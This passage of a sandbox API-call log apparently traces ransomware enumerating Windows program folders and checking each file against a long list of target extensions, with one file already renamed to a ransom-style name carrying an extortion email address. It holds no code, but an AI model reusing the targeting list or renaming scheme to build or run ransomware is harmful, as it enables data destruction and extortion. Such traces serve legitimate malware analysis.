lpString2="ini") returned -1 [0235.868] lstrlenW (lpString=".dbf") returned 4 [0235.868] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0235.868] lstrlenW (lpString=".dbx") returned 4 [0235.868] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0235.868] lstrlenW (lpString=".dc3") returned 4 [0235.868] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0235.868] lstrlenW (lpString=".dcm") returned 4 [0235.868] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0235.868] lstrlenW (lpString=".dcr") returned 4 [0235.868] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0235.868] lstrlenW (lpString=".der") returned 4 [0235.868] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0235.868] lstrlenW (lpString=".dib") returned 4 [0235.868] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0235.868] lstrlenW (lpString=".dic") returned 4 [0235.868] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0235.868] lstrlenW (lpString=".dif") returned 4 [0235.868] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0235.868] lstrlenW (lpString=".divx") returned 5 [0235.868] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0235.868] lstrlenW (lpString=".djvu") returned 5 [0235.868] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0235.868] lstrlenW (lpString=".dng") returned 4 [0235.868] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0235.868] lstrlenW (lpString=".doc") returned 4 [0235.868] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0235.868] lstrlenW (lpString=".docm") returned 5 [0235.868] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0235.868] lstrlenW (lpString=".docx") returned 5 [0235.868] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0235.868] lstrlenW (lpString=".dot") returned 4 [0235.868] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0235.868] lstrlenW (lpString=".dotm") returned 5 [0235.868] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0235.868] lstrlenW (lpString=".dotx") returned 5 [0235.869] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0235.869] lstrlenW (lpString=".dpx") returned 4 [0235.869] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0235.869] lstrlenW (lpString=".dqy") returned 4 [0235.869] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0235.869] lstrlenW (lpString=".dsn") returned 4 [0235.869] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0235.869] lstrlenW (lpString=".dt") returned 3 [0235.869] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0235.869] lstrlenW (lpString=".dtd") returned 4 [0235.869] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0235.869] lstrlenW (lpString=".dwg") returned 4 [0235.869] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0235.869] lstrlenW (lpString=".dwt") returned 4 [0235.869] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0235.869] lstrlenW (lpString=".dx") returned 3 [0235.869] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0235.869] lstrlenW (lpString=".dxf") returned 4 [0235.869] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0235.869] lstrlenW (lpString=".edml") returned 5 [0235.869] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0235.869] lstrlenW (lpString=".efd") returned 4 [0235.869] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0235.869] lstrlenW (lpString=".elf") returned 4 [0235.869] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0235.869] lstrlenW (lpString=".emf") returned 4 [0235.869] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0235.869] lstrlenW (lpString=".emz") returned 4 [0235.869] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0235.869] lstrlenW (lpString=".epf") returned 4 [0235.869] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0235.869] lstrlenW (lpString=".eps") returned 4 [0235.869] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0235.869] lstrlenW (lpString=".epsf") returned 5 [0235.869] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0235.869] lstrlenW (lpString=".epsp") returned 5 [0235.869] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0235.869] lstrlenW (lpString=".erf") returned 4 [0235.869] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".exr") returned 4 [0235.870] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".f4v") returned 4 [0235.870] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".fido") returned 5 [0235.870] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0235.870] lstrlenW (lpString=".flm") returned 4 [0235.870] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".flv") returned 4 [0235.870] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".frm") returned 4 [0235.870] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".fxg") returned 4 [0235.870] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".geo") returned 4 [0235.870] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".gif") returned 4 [0235.870] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".grs") returned 4 [0235.870] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".gz") returned 3 [0235.870] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0235.870] lstrlenW (lpString=".h") returned 2 [0235.870] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0235.870] lstrlenW (lpString=".hdr") returned 4 [0235.870] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".hpp") returned 4 [0235.870] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".hta") returned 4 [0235.870] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".htc") returned 4 [0235.870] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".htm") returned 4 [0235.870] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".html") returned 5 [0235.870] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0235.870] lstrlenW (lpString=".icb") returned 4 [0235.870] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0235.870] lstrlenW (lpString=".ics") returned 4 [0235.871] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0235.871] lstrlenW (lpString=".iff") returned 4 [0235.871] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0235.871] lstrlenW (lpString=".inc") returned 4 [0235.871] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0235.871] lstrlenW (lpString=".indd") returned 5 [0235.871] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0235.871] lstrlenW (lpString=".ini") returned 4 [0235.871] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0235.871] FindNextFileW (in: hFindFile=0x625f60, lpFindFileData=0x37df808 | out: lpFindFileData=0x37df808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x45b5c880, ftCreationTime.dwHighDateTime=0x1d54a09, ftLastAccessTime.dwLowDateTime=0x45b5c880, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0x45b829e0, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G", cAlternateFileName="DESKTO~1.Q1G")) returned 1 [0235.871] lstrlenW (lpString="desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G") returned 44 [0235.871] lstrlenW (lpString=".1cd") returned 4 [0235.871] lstrcmpiW (lpString1=".1cd", lpString2=".Q1G") returned -1 [0235.871] lstrlenW (lpString=".3ds") returned 4 [0235.871] lstrcmpiW (lpString1=".3ds", lpString2=".Q1G") returned -1 [0235.871] lstrlenW (lpString=".3fr") returned 4 [0235.871] lstrcmpiW (lpString1=".3fr", lpString2=".Q1G") returned -1 [0235.871] lstrlenW (lpString=".3g2") returned 4 [0235.871] lstrcmpiW (lpString1=".3g2", lpString2=".Q1G") returned -1 [0235.871] lstrlenW (lpString=".3gp") returned 4 [0235.871] lstrcmpiW (lpString1=".3gp", lpString2=".Q1G") returned -1 [0235.871] lstrlenW (lpString=".7z") returned 3 [0235.871] lstrcmpiW (lpString1=".7z", lpString2="Q1G") returned -1 [0235.871] lstrlenW (lpString=".accda") returned 6 [0235.871] lstrcmpiW (lpString1=".accda", lpString2="m].Q1G") returned -1 [0235.871] lstrlenW (lpString=".accdb") returned 6 [0235.871] lstrcmpiW (lpString1=".accdb", lpString2="m].Q1G") returned -1 [0235.871] lstrlenW (lpString=".accdc") returned 6 [0235.871] lstrcmpiW (lpString1=".accdc", lpString2="m].Q1G") returned -1 [0235.871] lstrlenW (lpString=".accde") returned 6 [0235.871] lstrcmpiW (lpString1=".accde", lpString2="m].Q1G") returned -1 [0235.871] lstrlenW (lpString=".accdt") returned 6 [0235.871] lstrcmpiW (lpString1=".accdt", lpString2="m].Q1G") returned -1 [0235.871] lstrlenW (lpString=".accdw") returned 6 [0235.871] lstrcmpiW (lpString1=".accdw", lpString2="m].Q1G") returned -1 [0235.872] lstrlenW (lpString=".adb") returned 4 [0235.872] lstrcmpiW (lpString1=".adb", lpString2=".Q1G") returned -1 [0235.872] lstrlenW (lpString=".adp") returned 4 [0235.872] lstrcmpiW (lpString1=".adp", lpString2=".Q1G") returned -1 [0235.872] lstrlenW (lpString=".ai") returned 3 [0235.872] lstrcmpiW (lpString1=".ai", lpString2="Q1G") returned -1 [0235.872] lstrlenW (lpString=".ai3") returned 4 [0235.872] lstrcmpiW (lpString1=".ai3", lpString2=".Q1G") returned -1 [0235.872] lstrlenW (lpString=".ai4") returned 4 [0235.872] lstrcmpiW (lpString1=".ai4", lpString2=".Q1G") returned -1 [0235.872] lstrlenW (lpString=".ai5") returned 4 [0235.872] lstrcmpiW (lpString1=".ai5", lpString2=".Q1G") returned -1 [0235.872] lstrlenW (lpString=".ai6") returned 4 [0235.872] lstrcmpiW (lpString1=".ai6", lpString2=".Q1G") returned -1 [0235.872] lstrlenW (lpString=".ai7") returned 4 [0235.872] lstrcmpiW (lpString1=".ai7", lpString2=".Q1G") returned -1 [0235.872] lstrlenW (lpString=".ai8") returned 4 [0235.872] lstrcmpiW (lpString1=".ai8", lpString2=".Q1G") returned -1 [0235.872] lstrlenW (lpString=".anim") returned 5 [0235.872] lstrcmpiW (lpString1=".anim", lpString2="].Q1G") returned -1 [0235.872] lstrlenW (lpString=".arw") returned 4 [0235.872] lstrcmpiW (lpString1=".arw", lpString2=".Q1G") returned -1 [0235.872] lstrlenW (lpString=".as") returned 3 [0235.872] lstrcmpiW (lpString1=".as", lpString2="Q1G") returned -1 [0235.872] lstrlenW (lpString=".asa") returned 4 [0235.872] lstrcmpiW (lpString1=".asa", lpString2=".Q1G") returned -1 [0235.872] lstrlenW (lpString=".asc") returned 4 [0235.872] lstrcmpiW (lpString1=".asc", lpString2=".Q1G") returned -1 [0235.872] lstrlenW (lpString=".ascx") returned 5 [0235.872] lstrcmpiW (lpString1=".ascx", lpString2="].Q1G") returned -1 [0235.872] lstrlenW (lpString=".asm") returned 4 [0235.872] lstrcmpiW (lpString1=".asm", lpString2=".Q1G") returned -1 [0235.872] lstrlenW (lpString=".asmx") returned 5 [0235.872] lstrcmpiW (lpString1=".asmx", lpString2="].Q1G") returned -1 [0235.872] lstrlenW (lpString=".asp") returned 4 [0235.872] lstrcmpiW (lpString1=".asp", lpString2=".Q1G") returned -1 [0235.872] lstrlenW (lpString=".aspx") returned 5 [0235.872] lstrcmpiW (lpString1=".aspx", lpString2="].Q1G") returned -1 [0235.873] lstrlenW (lpString=".asr") returned 4 [0235.873] lstrcmpiW (lpString1=".asr", lpString2=".Q1G") returned -1 [0235.873] lstrlenW (lpString=".asx") returned 4 [0235.873] lstrcmpiW (lpString1=".asx", lpString2=".Q1G") returned -1 [0235.873] lstrlenW (lpString=".avi") returned 4 [0235.873] lstrcmpiW (lpString1=".avi", lpString2=".Q1G") returned -1 [0235.873] lstrlenW (lpString=".avs") returned 4 [0235.873] lstrcmpiW (lpString1=".avs", lpString2=".Q1G") returned -1 [0235.873] lstrlenW (lpString=".backup") returned 7 [0235.873] lstrcmpiW (lpString1=".backup", lpString2="om].Q1G") returned -1 [0235.873] lstrlenW (lpString=".bak") returned 4 [0235.873] lstrcmpiW (lpString1=".bak", lpString2=".Q1G") returned -1 [0235.873] lstrlenW (lpString=".bay") returned 4 [0235.873] lstrcmpiW (lpString1=".bay", lpString2=".Q1G") returned -1 [0235.873] lstrlenW (lpString=".bd") returned 3 [0235.873] lstrcmpiW (lpString1=".bd", lpString2="Q1G") returned -1 [0235.873] lstrlenW (lpString=".bin") returned 4 [0235.873] lstrcmpiW (lpString1=".bin", lpString2=".Q1G") returned -1 [0235.873] lstrlenW (lpString=".bmp") returned 4 [0235.873] lstrcmpiW (lpString1=".bmp", lpString2=".Q1G") returned -1 [0235.873] lstrlenW (lpString=".bz2") returned 4 [0235.873] lstrcmpiW (lpString1=".bz2", lpString2=".Q1G") returned -1 [0235.873] lstrlenW (lpString=".c") returned 2 [0235.873] lstrcmpiW (lpString1=".c", lpString2="1G") returned -1 [0235.873] lstrlenW (lpString=".cdr") returned 4 [0235.873] lstrcmpiW (lpString1=".cdr", lpString2=".Q1G") returned -1 [0235.873] lstrlenW (lpString=".cer") returned 4 [0235.873] lstrcmpiW (lpString1=".cer", lpString2=".Q1G") returned -1 [0235.873] lstrlenW (lpString=".cf") returned 3 [0235.873] lstrcmpiW (lpString1=".cf", lpString2="Q1G") returned -1 [0235.873] lstrlenW (lpString=".cfc") returned 4 [0235.873] lstrcmpiW (lpString1=".cfc", lpString2=".Q1G") returned -1 [0235.873] lstrlenW (lpString=".cfm") returned 4 [0235.873] lstrcmpiW (lpString1=".cfm", lpString2=".Q1G") returned -1 [0235.873] lstrlenW (lpString=".cfml") returned 5 [0235.873] lstrcmpiW (lpString1=".cfml", lpString2="].Q1G") returned -1 [0235.873] lstrlenW (lpString=".cfu") returned 4 [0235.873] lstrcmpiW (lpString1=".cfu", lpString2=".Q1G") returned -1 [0235.873] lstrlenW (lpString=".chm") returned 4 [0235.874] lstrcmpiW (lpString1=".chm", lpString2=".Q1G") returned -1 [0235.874] lstrlenW (lpString=".cin") returned 4 [0235.874] lstrcmpiW (lpString1=".cin", lpString2=".Q1G") returned -1 [0235.874] lstrlenW (lpString=".class") returned 6 [0235.874] lstrcmpiW (lpString1=".class", lpString2="m].Q1G") returned -1 [0235.874] lstrlenW (lpString=".clx") returned 4 [0235.874] lstrcmpiW (lpString1=".clx", lpString2=".Q1G") returned -1 [0235.874] lstrlenW (lpString=".config") returned 7 [0235.874] lstrcmpiW (lpString1=".config", lpString2="om].Q1G") returned -1 [0235.874] lstrlenW (lpString=".cpp") returned 4 [0235.874] lstrcmpiW (lpString1=".cpp", lpString2=".Q1G") returned -1 [0235.874] lstrlenW (lpString=".cr2") returned 4 [0235.874] lstrcmpiW (lpString1=".cr2", lpString2=".Q1G") returned -1 [0235.874] lstrlenW (lpString=".crt") returned 4 [0235.874] lstrcmpiW (lpString1=".crt", lpString2=".Q1G") returned -1 [0235.874] lstrlenW (lpString=".crw") returned 4 [0235.874] lstrcmpiW (lpString1=".crw", lpString2=".Q1G") returned -1 [0235.874] lstrlenW (lpString=".cs") returned 3 [0235.874] lstrcmpiW (lpString1=".cs", lpString2="Q1G") returned -1 [0235.874] lstrlenW (lpString=".css") returned 4 [0235.874] lstrcmpiW (lpString1=".css", lpString2=".Q1G") returned -1 [0235.874] lstrlenW (lpString=".csv") returned 4 [0235.874] lstrcmpiW (lpString1=".csv", lpString2=".Q1G") returned -1 [0235.874] lstrlenW (lpString=".cub") returned 4 [0235.874] lstrcmpiW (lpString1=".cub", lpString2=".Q1G") returned -1 [0235.874] lstrlenW (lpString=".dae") returned 4 [0235.874] lstrcmpiW (lpString1=".dae", lpString2=".Q1G") returned -1 [0235.874] lstrlenW (lpString=".dat") returned 4 [0235.874] lstrcmpiW (lpString1=".dat", lpString2=".Q1G") returned -1 [0235.874] lstrlenW (lpString=".db") returned 3 [0235.874] lstrcmpiW (lpString1=".db", lpString2="Q1G") returned -1 [0235.875] lstrlenW (lpString=".dbf") returned 4 [0235.875] lstrcmpiW (lpString1=".dbf", lpString2=".Q1G") returned -1 [0235.875] lstrlenW (lpString=".dbx") returned 4 [0235.875] lstrcmpiW (lpString1=".dbx", lpString2=".Q1G") returned -1 [0235.875] lstrlenW (lpString=".dc3") returned 4 [0235.875] lstrcmpiW (lpString1=".dc3", lpString2=".Q1G") returned -1 [0235.875] lstrlenW (lpString=".dcm") returned 4 [0235.875] lstrcmpiW (lpString1=".dcm", lpString2=".Q1G") returned -1 [0235.875] lstrlenW (lpString=".dcr") returned 4 [0235.875] lstrcmpiW (lpString1=".dcr", lpString2=".Q1G") returned -1 [0235.875] lstrlenW (lpString=".der") returned 4 [0235.875] lstrcmpiW (lpString1=".der", lpString2=".Q1G") returned -1 [0235.875] lstrlenW (lpString=".dib") returned 4 [0235.875] lstrcmpiW (lpString1=".dib", lpString2=".Q1G") returned -1 [0235.875] lstrlenW (lpString=".dic") returned 4 [0235.875] lstrcmpiW (lpString1=".dic", lpString2=".Q1G") returned -1 [0235.875] lstrlenW (lpString=".dif") returned 4 [0235.875] lstrcmpiW (lpString1=".dif", lpString2=".Q1G") returned -1 [0235.875] lstrlenW (lpString=".divx") returned 5 [0235.875] lstrcmpiW (lpString1=".divx", lpString2="].Q1G") returned -1 [0235.875] lstrlenW (lpString=".djvu") returned 5 [0235.875] lstrcmpiW (lpString1=".djvu", lpString2="].Q1G") returned -1 [0235.875] lstrlenW (lpString=".dng") returned 4 [0235.875] lstrcmpiW (lpString1=".dng", lpString2=".Q1G") returned -1 [0235.875] lstrlenW (lpString=".doc") returned 4 [0235.875] lstrcmpiW (lpString1=".doc", lpString2=".Q1G") returned -1 [0235.875] lstrlenW (lpString=".docm") returned 5 [0235.875] lstrcmpiW (lpString1=".docm", lpString2="].Q1G") returned -1 [0235.875] lstrlenW (lpString=".docx") returned 5 [0235.875] lstrcmpiW (lpString1=".docx", lpString2="].Q1G") returned -1 [0235.875] lstrlenW (lpString=".dot") returned 4 [0235.875] lstrcmpiW (lpString1=".dot", lpString2=".Q1G") returned -1 [0235.875] lstrlenW (lpString=".dotm") returned 5 [0235.875] lstrcmpiW (lpString1=".dotm", lpString2="].Q1G") returned -1 [0235.875] lstrlenW (lpString=".dotx") returned 5 [0235.875] lstrcmpiW (lpString1=".dotx", lpString2="].Q1G") returned -1 [0235.875] lstrlenW (lpString=".dpx") returned 4 [0235.875] lstrcmpiW (lpString1=".dpx", lpString2=".Q1G") returned -1 [0235.875] lstrlenW (lpString=".dqy") returned 4 [0235.876] lstrcmpiW (lpString1=".dqy", lpString2=".Q1G") returned -1 [0235.876] lstrlenW (lpString=".dsn") returned 4 [0235.876] lstrcmpiW (lpString1=".dsn", lpString2=".Q1G") returned -1 [0235.876] lstrlenW (lpString=".dt") returned 3 [0235.876] lstrcmpiW (lpString1=".dt", lpString2="Q1G") returned -1 [0235.876] lstrlenW (lpString=".dtd") returned 4 [0235.876] lstrcmpiW (lpString1=".dtd", lpString2=".Q1G") returned -1 [0235.876] lstrlenW (lpString=".dwg") returned 4 [0235.876] lstrcmpiW (lpString1=".dwg", lpString2=".Q1G") returned -1 [0235.876] lstrlenW (lpString=".dwt") returned 4 [0235.876] lstrcmpiW (lpString1=".dwt", lpString2=".Q1G") returned -1 [0235.876] lstrlenW (lpString=".dx") returned 3 [0235.876] lstrcmpiW (lpString1=".dx", lpString2="Q1G") returned -1 [0235.876] lstrlenW (lpString=".dxf") returned 4 [0235.876] lstrcmpiW (lpString1=".dxf", lpString2=".Q1G") returned -1 [0235.876] lstrlenW (lpString=".edml") returned 5 [0235.876] lstrcmpiW (lpString1=".edml", lpString2="].Q1G") returned -1 [0235.876] lstrlenW (lpString=".efd") returned 4 [0235.876] lstrcmpiW (lpString1=".efd", lpString2=".Q1G") returned -1 [0235.876] lstrlenW (lpString=".elf") returned 4 [0235.876] lstrcmpiW (lpString1=".elf", lpString2=".Q1G") returned -1 [0235.876] lstrlenW (lpString=".emf") returned 4 [0235.876] lstrcmpiW (lpString1=".emf", lpString2=".Q1G") returned -1 [0235.876] lstrlenW (lpString=".emz") returned 4 [0235.876] lstrcmpiW (lpString1=".emz", lpString2=".Q1G") returned -1 [0235.876] lstrlenW (lpString=".epf") returned 4 [0235.876] lstrcmpiW (lpString1=".epf", lpString2=".Q1G") returned -1 [0235.876] lstrlenW (lpString=".eps") returned 4 [0235.876] lstrcmpiW (lpString1=".eps", lpString2=".Q1G") returned -1 [0235.876] lstrlenW (lpString=".epsf") returned 5 [0235.876] lstrcmpiW (lpString1=".epsf", lpString2="].Q1G") returned -1 [0235.876] lstrlenW (lpString=".epsp") returned 5 [0235.876] lstrcmpiW (lpString1=".epsp", lpString2="].Q1G") returned -1 [0235.876] lstrlenW (lpString=".erf") returned 4 [0235.876] lstrcmpiW (lpString1=".erf", lpString2=".Q1G") returned -1 [0235.876] lstrlenW (lpString=".exr") returned 4 [0235.876] lstrcmpiW (lpString1=".exr", lpString2=".Q1G") returned -1 [0235.876] lstrlenW (lpString=".f4v") returned 4 [0235.877] lstrcmpiW (lpString1=".f4v", lpString2=".Q1G") returned -1 [0235.877] lstrlenW (lpString=".fido") returned 5 [0235.877] lstrcmpiW (lpString1=".fido", lpString2="].Q1G") returned -1 [0235.877] lstrlenW (lpString=".flm") returned 4 [0235.877] lstrcmpiW (lpString1=".flm", lpString2=".Q1G") returned -1 [0235.877] lstrlenW (lpString=".flv") returned 4 [0235.877] lstrcmpiW (lpString1=".flv", lpString2=".Q1G") returned -1 [0235.877] lstrlenW (lpString=".frm") returned 4 [0235.877] lstrcmpiW (lpString1=".frm", lpString2=".Q1G") returned -1 [0235.877] lstrlenW (lpString=".fxg") returned 4 [0235.877] lstrcmpiW (lpString1=".fxg", lpString2=".Q1G") returned -1 [0235.877] lstrlenW (lpString=".geo") returned 4 [0235.877] lstrcmpiW (lpString1=".geo", lpString2=".Q1G") returned -1 [0235.877] lstrlenW (lpString=".gif") returned 4 [0235.877] lstrcmpiW (lpString1=".gif", lpString2=".Q1G") returned -1 [0235.877] lstrlenW (lpString=".grs") returned 4 [0235.877] lstrcmpiW (lpString1=".grs", lpString2=".Q1G") returned -1 [0236.758] FindNextFileW (in: hFindFile=0x3af1760, lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.758] FindNextFileW (in: hFindFile=0x3af1760, lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0236.758] FindNextFileW (in: hFindFile=0x3af1760, lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0236.758] FindClose (in: hFindFile=0x3af1760 | out: hFindFile=0x3af1760) returned 1 [0236.758] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4289f90 | out: hHeap=0x530000) returned 1 [0236.758] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x37df310 | out: lpFindFileData=0x37df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0236.758] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x4289f90 [0236.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR") returned 56 [0236.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3af1760 [0236.758] FindNextFileW (in: hFindFile=0x3af1760, lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.758] FindNextFileW (in: hFindFile=0x3af1760, lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0236.759] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0236.759] lstrlenW (lpString=".1cd") returned 4 [0236.759] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.759] lstrlenW (lpString=".3ds") returned 4 [0236.759] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0236.759] lstrlenW (lpString=".3fr") returned 4 [0236.759] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0236.759] lstrlenW (lpString=".3g2") returned 4 [0236.759] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0236.759] lstrlenW (lpString=".3gp") returned 4 [0236.759] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0236.759] lstrlenW (lpString=".7z") returned 3 [0236.759] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.759] lstrlenW (lpString=".accda") returned 6 [0236.759] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1 [0236.759] lstrlenW (lpString=".accdb") returned 6 [0236.759] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1 [0236.759] lstrlenW (lpString=".accdc") returned 6 [0236.759] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1 [0236.759] lstrlenW (lpString=".accde") returned 6 [0236.759] lstrcmpiW (lpString1=".accde", 